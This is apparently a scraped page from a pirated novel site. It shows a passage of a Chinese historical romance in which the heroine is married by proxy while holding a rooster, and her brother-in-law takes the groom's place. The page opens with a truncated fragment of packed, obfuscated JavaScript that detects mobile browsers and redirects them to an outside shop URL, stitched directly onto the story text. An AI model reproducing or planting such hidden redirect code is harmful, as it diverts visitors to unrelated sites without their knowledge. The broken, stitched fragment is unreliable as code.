l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065569|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有老夫人和永靖侯在，她确实安全许多。只需付出名声，不必与不喜的男子行苟且之事。 还有一则极重要的，她身上的钱财被崔禄那厮包了去。再想敛盘缠，府里发的月俸反而是最快的路子。 只要过了明路，哪怕崔云柯是世子了，她也是他名义上的长嫂！总要收束一二！ 姚黛蝉长长呼一口气，此不亚于枯木逢春。 她还是姚黛蝉，不是入侯府家谱的姚惜翎！ 喝茶，绣花。除却遗憾芬儿被调走，姚黛蝉也没什么想头。一眨眼，就到了成婚的日子。 忍着痛绞完脸梳妆完毕，侍女们将那面等身高的铜镜一挪，镜中凤冠霞帔的美人焕然一新。朱唇贝齿，眉间一点红，赤霞蕴珠，华光满屋。 姚黛蝉从未设想过自己会在这情形下穿婚服上，看得怔住。 眼前一黑，盖头披上，她被人慢慢牵出院子，只得看路边的花草分辨到了哪里。 意外的，一直到了大堂，也没听什么宾客的声音。 姚黛蝉猜测这是侯府不想闹大，刻意减少了人数。 听润香说了声“娘子拿好”，臂弯中赫然多了只用红绸绑了脚的活鸡。 姚黛蝉不由微僵身子，抱鸡成婚这事儿，真有些古怪。 老夫人道：“新郎呢？” 有人答：“就到。” 姚黛蝉看着红鸡冠，安然等牌位。 然哪里见什么牌位，一只佩着玉扳指的手霍然出现，姚黛蝉惊愕地一晃，盖头不断漾动。 崔云柯？！ 她瞪着眼，直勾勾看那只同样穿着吉服的手抓起红绸，“开始罢。” 清冷低沉的男声自右侧传来，姚黛蝉如遭雷击，真以为自己在梦里了！ 他这是代兄成婚？？ 姚黛蝉近乎怀疑起眼前人的真假来。他怎么可能行如此荒谬的事？ 润香赶忙拍拍她：“娘子，拜天地了！不能耽搁！” 座上老夫人蹙眉，润香见状索性要扶着木直的姚黛蝉屈膝，却这时，红绸的另一头不轻不重一扯。 姚黛蝉一不留神被带着跪下。仓促一望，只见那人线条凌厉的半截下颚。 她呼吸滞住，竟然真是他。 “二拜高堂，夫妻对拜——！” 司仪高呼，一片渗人的视线中，姚黛蝉僵硬地拜了高堂，再起身时，许是玉带勾住了红绸。鸡突然扑腾两下，吓得众人都惊呼出声。 “不可放鸡！” 姚黛蝉慌忙将鸡抱回，却扼不住后仰的势头。满堂诧然间，腰上一重，又是那只手扣住她的腰侧，将她生生拽正，指尖未作丝毫停留，旋即撤下，仿佛触碰了什么不洁之物。 天上不知何时飘来大片乌云，姚黛蝉梗着脖子，盯着崔云柯双靴，听司仪唱礼，勉力低头。 喜烛爆响，天幕掠过一道闪电，将崔云柯冷峻的侧脸照得煞白。 瞬间的光亮里，姚黛蝉粗粗弯腰，这角度正能俯视一二。是而不经意一瞥，不巧对上他堪堪挪动黝黑双眸。 “礼成！” 崔云柯脸上平静如许。视线擦过盖头下的一点白色下颌便收回，先一步起身。 姚黛蝉却心头一骇，指尖本能攥紧了红绸。那端传来的力度平稳、克制，理性。 可不知是不是乌云掩去正阳之故，青年方才看她的眼里厌弃不掩，晦暗难明。